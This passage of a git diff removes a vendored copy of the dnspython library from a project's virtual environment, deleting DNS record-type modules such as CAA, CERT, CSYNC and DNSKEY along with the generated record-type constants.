metatypes are TKEY, TSIG, IXFR, AXFR, MAILA, - MAILB, ANY, and OPT. - - Returns a ``bool``. - """ - - return (256 > rdtype >= 128) or rdtype in _metatypes - - -def is_singleton(rdtype: RdataType) -> bool: - """Is the specified type a singleton type? - - Singleton types can only have a single rdata in an rdataset, or a single - RR in an RRset. - - The currently defined singleton types are CNAME, DNAME, NSEC, NXT, and - SOA. - - *rdtype* is an ``int``. - - Returns a ``bool``. - """ - - if rdtype in _singletons: - return True - return False - - -# pylint: disable=redefined-outer-name -def register_type( - rdtype: RdataType, rdtype_text: str, is_singleton: bool = False -) -> None: - """Dynamically register an rdatatype. - - *rdtype*, a ``dns.rdatatype.RdataType``, the rdatatype to register. - - *rdtype_text*, a ``str``, the textual form of the rdatatype. - - *is_singleton*, a ``bool``, indicating if the type is a singleton (i.e. - RRsets of the type can have only one member.) - """ - - _registered_by_text[rdtype_text] = rdtype - _registered_by_value[rdtype] = rdtype_text - if is_singleton: - _singletons.add(rdtype) - - -### BEGIN generated RdataType constants - -TYPE0 = RdataType.TYPE0 -NONE = RdataType.NONE -A = RdataType.A -NS = RdataType.NS -MD = RdataType.MD -MF = RdataType.MF -CNAME = RdataType.CNAME -SOA = RdataType.SOA -MB = RdataType.MB -MG = RdataType.MG -MR = RdataType.MR -NULL = RdataType.NULL -WKS = RdataType.WKS -PTR = RdataType.PTR -HINFO = RdataType.HINFO -MINFO = RdataType.MINFO -MX = RdataType.MX -TXT = RdataType.TXT -RP = RdataType.RP -AFSDB = RdataType.AFSDB -X25 = RdataType.X25 -ISDN = RdataType.ISDN -RT = RdataType.RT -NSAP = RdataType.NSAP -NSAP_PTR = RdataType.NSAP_PTR -SIG = RdataType.SIG -KEY = RdataType.KEY -PX = RdataType.PX -GPOS = RdataType.GPOS -AAAA = RdataType.AAAA -LOC = RdataType.LOC -NXT = RdataType.NXT -SRV = RdataType.SRV -NAPTR = RdataType.NAPTR -KX = RdataType.KX -CERT = RdataType.CERT -A6 = RdataType.A6 -DNAME = RdataType.DNAME -OPT = RdataType.OPT -APL = RdataType.APL -DS = RdataType.DS -SSHFP = RdataType.SSHFP -IPSECKEY = RdataType.IPSECKEY -RRSIG = RdataType.RRSIG -NSEC = RdataType.NSEC -DNSKEY = RdataType.DNSKEY -DHCID = RdataType.DHCID -NSEC3 = RdataType.NSEC3 -NSEC3PARAM = RdataType.NSEC3PARAM -TLSA = RdataType.TLSA -SMIMEA = RdataType.SMIMEA -HIP = RdataType.HIP -NINFO = RdataType.NINFO -CDS = RdataType.CDS -CDNSKEY = RdataType.CDNSKEY -OPENPGPKEY = RdataType.OPENPGPKEY -CSYNC = RdataType.CSYNC -ZONEMD = RdataType.ZONEMD -SVCB = RdataType.SVCB -HTTPS = RdataType.HTTPS -DSYNC = RdataType.DSYNC -SPF = RdataType.SPF -UNSPEC = RdataType.UNSPEC -NID = RdataType.NID -L32 = RdataType.L32 -L64 = RdataType.L64 -LP = RdataType.LP -EUI48 = RdataType.EUI48 -EUI64 = RdataType.EUI64 -TKEY = RdataType.TKEY -TSIG = RdataType.TSIG -IXFR = RdataType.IXFR -AXFR = RdataType.AXFR -MAILB = RdataType.MAILB -MAILA = RdataType.MAILA -ANY = RdataType.ANY -URI = RdataType.URI -CAA = RdataType.CAA -AVC = RdataType.AVC -AMTRELAY = RdataType.AMTRELAY -RESINFO = RdataType.RESINFO -WALLET = RdataType.WALLET -TA = RdataType.TA -DLV = RdataType.DLV - -### END generated RdataType constants diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/AFSDB.py b/venv/Lib/site-packages/dns/rdtypes/ANY/AFSDB.py deleted file mode 100644 index 06a3b97013dc980bcc6ed2c13b9531164445e7ed..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/AFSDB.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.mxbase - - -@dns.immutable.immutable -class AFSDB(dns.rdtypes.mxbase.UncompressedDowncasingMX): - """AFSDB record""" - - # Use the property mechanism to make "subtype" an alias for the - # "preference" attribute, and "hostname" an alias for the "exchange" - # attribute. - # - # This lets us inherit the UncompressedMX implementation but lets - # the caller use appropriate attribute names for the rdata type. - # - # We probably lose some performance vs. a cut-and-paste - # implementation, but this way we don't copy code, and that's - # good. - - @property - def subtype(self): - "the AFSDB subtype" - return self.preference - - @property - def hostname(self): - "the AFSDB hostname" - return self.exchange diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/AMTRELAY.py b/venv/Lib/site-packages/dns/rdtypes/ANY/AMTRELAY.py deleted file mode 100644 index dc9fa87708f53ddc292bc6fe819306e5b3e21341..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/AMTRELAY.py +++ /dev/null @@ -1,89 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.rdata -import dns.rdtypes.util - - -class Relay(dns.rdtypes.util.Gateway): - name = "AMTRELAY relay" - - @property - def relay(self): - return self.gateway - - -@dns.immutable.immutable -class AMTRELAY(dns.rdata.Rdata): - """AMTRELAY record""" - - # see: RFC 8777 - - __slots__ = ["precedence", "discovery_optional", "relay_type", "relay"] - - def __init__( - self, rdclass, rdtype, precedence, discovery_optional, relay_type, relay - ): - super().__init__(rdclass, rdtype) - relay = Relay(relay_type, relay) - self.precedence = self._as_uint8(precedence) - self.discovery_optional = self._as_bool(discovery_optional) - self.relay_type = relay.type - self.relay = relay.relay - - def to_text(self, origin=None, relativize=True, **kw): - relay = Relay(self.relay_type, self.relay).to_text(origin, relativize) - return ( - f"{self.precedence} {self.discovery_optional:d} {self.relay_type} {relay}" - ) - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - precedence = tok.get_uint8() - discovery_optional = tok.get_uint8() - if discovery_optional > 1: - raise dns.exception.SyntaxError("expecting 0 or 1") - discovery_optional = bool(discovery_optional) - relay_type = tok.get_uint8() - if relay_type > 0x7F: - raise dns.exception.SyntaxError("expecting an integer <= 127") - relay = Relay.from_text(relay_type, tok, origin, relativize, relativize_to) - return cls( - rdclass, rdtype, precedence, discovery_optional, relay_type, relay.relay - ) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - relay_type = self.relay_type | (self.discovery_optional << 7) - header = struct.pack("!BB", self.precedence, relay_type) - file.write(header) - Relay(self.relay_type, self.relay).to_wire(file, compress, origin, canonicalize) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (precedence, relay_type) = parser.get_struct("!BB") - discovery_optional = bool(relay_type >> 7) - relay_type &= 0x7F - relay = Relay.from_wire_parser(relay_type, parser, origin) - return cls( - rdclass, rdtype, precedence, discovery_optional, relay_type, relay.relay - ) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/AVC.py b/venv/Lib/site-packages/dns/rdtypes/ANY/AVC.py deleted file mode 100644 index a27ae2d61fee662df968b290330f0c3aea536410..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/AVC.py +++ /dev/null @@ -1,26 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2016 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.txtbase - - -@dns.immutable.immutable -class AVC(dns.rdtypes.txtbase.TXTBase): - """AVC record""" - - # See: IANA dns parameters for AVC diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/CAA.py b/venv/Lib/site-packages/dns/rdtypes/ANY/CAA.py deleted file mode 100644 index 8c62e6267355a1bb6348422f8d36448d8f31d59f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/CAA.py +++ /dev/null @@ -1,67 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class CAA(dns.rdata.Rdata): - """CAA (Certification Authority Authorization) record""" - - # see: RFC 6844 - - __slots__ = ["flags", "tag", "value"] - - def __init__(self, rdclass, rdtype, flags, tag, value): - super().__init__(rdclass, rdtype) - self.flags = self._as_uint8(flags) - self.tag = self._as_bytes(tag, True, 255) - if not tag.isalnum(): - raise ValueError("tag is not alphanumeric") - self.value = self._as_bytes(value) - - def to_text(self, origin=None, relativize=True, **kw): - return f'{self.flags} {dns.rdata._escapify(self.tag)} "{dns.rdata._escapify(self.value)}"' - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - flags = tok.get_uint8() - tag = tok.get_string().encode() - value = tok.get_string().encode() - return cls(rdclass, rdtype, flags, tag, value) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(struct.pack("!B", self.flags)) - l = len(self.tag) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.tag) - file.write(self.value) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - flags = parser.get_uint8() - tag = parser.get_counted_bytes() - value = parser.get_remaining() - return cls(rdclass, rdtype, flags, tag, value) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/CDNSKEY.py b/venv/Lib/site-packages/dns/rdtypes/ANY/CDNSKEY.py deleted file mode 100644 index b613409f47530aac802b9dd882df3e64ac063182..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/CDNSKEY.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.dnskeybase # lgtm[py/import-and-import-from] - -# pylint: disable=unused-import -from dns.rdtypes.dnskeybase import ( # noqa: F401 lgtm[py/unused-import] - REVOKE, - SEP, - ZONE, -) - -# pylint: enable=unused-import - - -@dns.immutable.immutable -class CDNSKEY(dns.rdtypes.dnskeybase.DNSKEYBase): - """CDNSKEY record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/CDS.py b/venv/Lib/site-packages/dns/rdtypes/ANY/CDS.py deleted file mode 100644 index 8312b972a5b785c321493c875d65a7ef7b75a1b2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/CDS.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.dsbase - - -@dns.immutable.immutable -class CDS(dns.rdtypes.dsbase.DSBase): - """CDS record""" - - _digest_length_by_type = { - **dns.rdtypes.dsbase.DSBase._digest_length_by_type, - 0: 1, # delete, RFC 8078 Sec. 4 (including Errata ID 5049) - } diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/CERT.py b/venv/Lib/site-packages/dns/rdtypes/ANY/CERT.py deleted file mode 100644 index 4d5e5bda192c55cdb7e3e6095e29dd2de4176780..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/CERT.py +++ /dev/null @@ -1,113 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 -import struct - -import dns.dnssectypes -import dns.exception -import dns.immutable -import dns.rdata -import dns.tokenizer - -_ctype_by_value = { - 1: "PKIX", - 2: "SPKI", - 3: "PGP", - 4: "IPKIX", - 5: "ISPKI", - 6: "IPGP", - 7: "ACPKIX", - 8: "IACPKIX", - 253: "URI", - 254: "OID", -} - -_ctype_by_name = { - "PKIX": 1, - "SPKI": 2, - "PGP": 3, - "IPKIX": 4, - "ISPKI": 5, - "IPGP": 6, - "ACPKIX": 7, - "IACPKIX": 8, - "URI": 253, - "OID": 254, -} - - -def _ctype_from_text(what): - v = _ctype_by_name.get(what) - if v is not None: - return v - return int(what) - - -def _ctype_to_text(what): - v = _ctype_by_value.get(what) - if v is not None: - return v - return str(what) - - -@dns.immutable.immutable -class CERT(dns.rdata.Rdata): - """CERT record""" - - # see RFC 4398 - - __slots__ = ["certificate_type", "key_tag", "algorithm", "certificate"] - - def __init__( - self, rdclass, rdtype, certificate_type, key_tag, algorithm, certificate - ): - super().__init__(rdclass, rdtype) - self.certificate_type = self._as_uint16(certificate_type) - self.key_tag = self._as_uint16(key_tag) - self.algorithm = self._as_uint8(algorithm) - self.certificate = self._as_bytes(certificate) - - def to_text(self, origin=None, relativize=True, **kw): - certificate_type = _ctype_to_text(self.certificate_type) - algorithm = dns.dnssectypes.Algorithm.to_text(self.algorithm) - certificate = dns.rdata._base64ify(self.certificate, **kw) # pyright: ignore - return f"{certificate_type} {self.key_tag} {algorithm} {certificate}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - certificate_type = _ctype_from_text(tok.get_string()) - key_tag = tok.get_uint16() - algorithm = dns.dnssectypes.Algorithm.from_text(tok.get_string()) - b64 = tok.concatenate_remaining_identifiers().encode() - certificate = base64.b64decode(b64) - return cls(rdclass, rdtype, certificate_type, key_tag, algorithm, certificate) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - prefix = struct.pack( - "!HHB", self.certificate_type, self.key_tag, self.algorithm - ) - file.write(prefix) - file.write(self.certificate) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (certificate_type, key_tag, algorithm) = parser.get_struct("!HHB") - certificate = parser.get_remaining() - return cls(rdclass, rdtype, certificate_type, key_tag, algorithm, certificate) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/CNAME.py b/venv/Lib/site-packages/dns/rdtypes/ANY/CNAME.py deleted file mode 100644 index 665e407c9b3a5dee85b44a72bfce2b4992536e1a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/CNAME.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.nsbase - - -@dns.immutable.immutable -class CNAME(dns.rdtypes.nsbase.NSBase): - """CNAME record - - Note: although CNAME is officially a singleton type, dnspython allows - non-singleton CNAME rdatasets because such sets have been commonly - used by BIND and other nameservers for load balancing.""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/CSYNC.py b/venv/Lib/site-packages/dns/rdtypes/ANY/CSYNC.py deleted file mode 100644 index 103486d8341ce21e2b98c4f0da88cc9b74b39758..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/CSYNC.py +++ /dev/null @@ -1,68 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2007, 2009-2011, 2016 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdatatype -import dns.rdtypes.util - - -@dns.immutable.immutable -class Bitmap(dns.rdtypes.util.Bitmap): - type_name = "CSYNC" - - -@dns.immutable.immutable -class CSYNC(dns.rdata.Rdata): - """CSYNC record""" - - __slots__ = ["serial", "flags", "windows"] - - def __init__(self, rdclass, rdtype, serial, flags, windows): - super().__init__(rdclass, rdtype) - self.serial = self._as_uint32(serial) - self.flags = self._as_uint16(flags) - if not isinstance(windows, Bitmap): - windows = Bitmap(windows) - self.windows = tuple(windows.windows) - - def to_text(self, origin=None, relativize=True, **kw): - text = Bitmap(self.windows).to_text() - return f"{self.serial} {self.flags}{text}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - serial = tok.get_uint32() - flags = tok.get_uint16() - bitmap = Bitmap.from_text(tok) - return cls(rdclass, rdtype, serial, flags, bitmap) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(struct.pack("!IH", self.serial, self.flags)) - Bitmap(self.windows).to_wire(file) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (serial, flags) = parser.get_struct("!IH") - bitmap = Bitmap.from_wire_parser(parser) - return cls(rdclass, rdtype, serial, flags, bitmap) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/DLV.py b/venv/Lib/site-packages/dns/rdtypes/ANY/DLV.py deleted file mode 100644 index 6c134f182b84d9229dc4189e8802e7bd220b7f97..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/DLV.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.dsbase - - -@dns.immutable.immutable -class DLV(dns.rdtypes.dsbase.DSBase): - """DLV record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/DNAME.py b/venv/Lib/site-packages/dns/rdtypes/ANY/DNAME.py deleted file mode 100644 index bbf9186c9c01a89bf410588356ff39cefb7f0ac9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/DNAME.py +++ /dev/null @@ -1,27 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.nsbase - - -@dns.immutable.immutable -class DNAME(dns.rdtypes.nsbase.UncompressedNS): - """DNAME record""" - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - self.target.to_wire(file, None, origin, canonicalize) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/DNSKEY.py b/venv/Lib/site-packages/dns/rdtypes/ANY/DNSKEY.py deleted file mode 100644 index 6d961a9f53f6eb622726e55d7225551288b6f077..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/DNSKEY.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.dnskeybase # lgtm[py/import-and-import-from] - -# pylint: disable=unused-import -from dns.rdtypes.dnskeybase import ( # noqa: F401 lgtm[py/unused-import] - REVOKE, - SEP, - ZONE, -) - -# pylint: enable=unused-import - - -@dns.immutable.immutable -class DNSKEY(dns.rdtypes.dnskeybase.DNSKEYBase): - """DNSKEY record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/DS.py b/venv/Lib/site-packages/dns/rdtypes/ANY/DS.py deleted file mode 100644 index 58b3108dafb6fbe457021a4341e74924f1ef87a5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/DS.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE 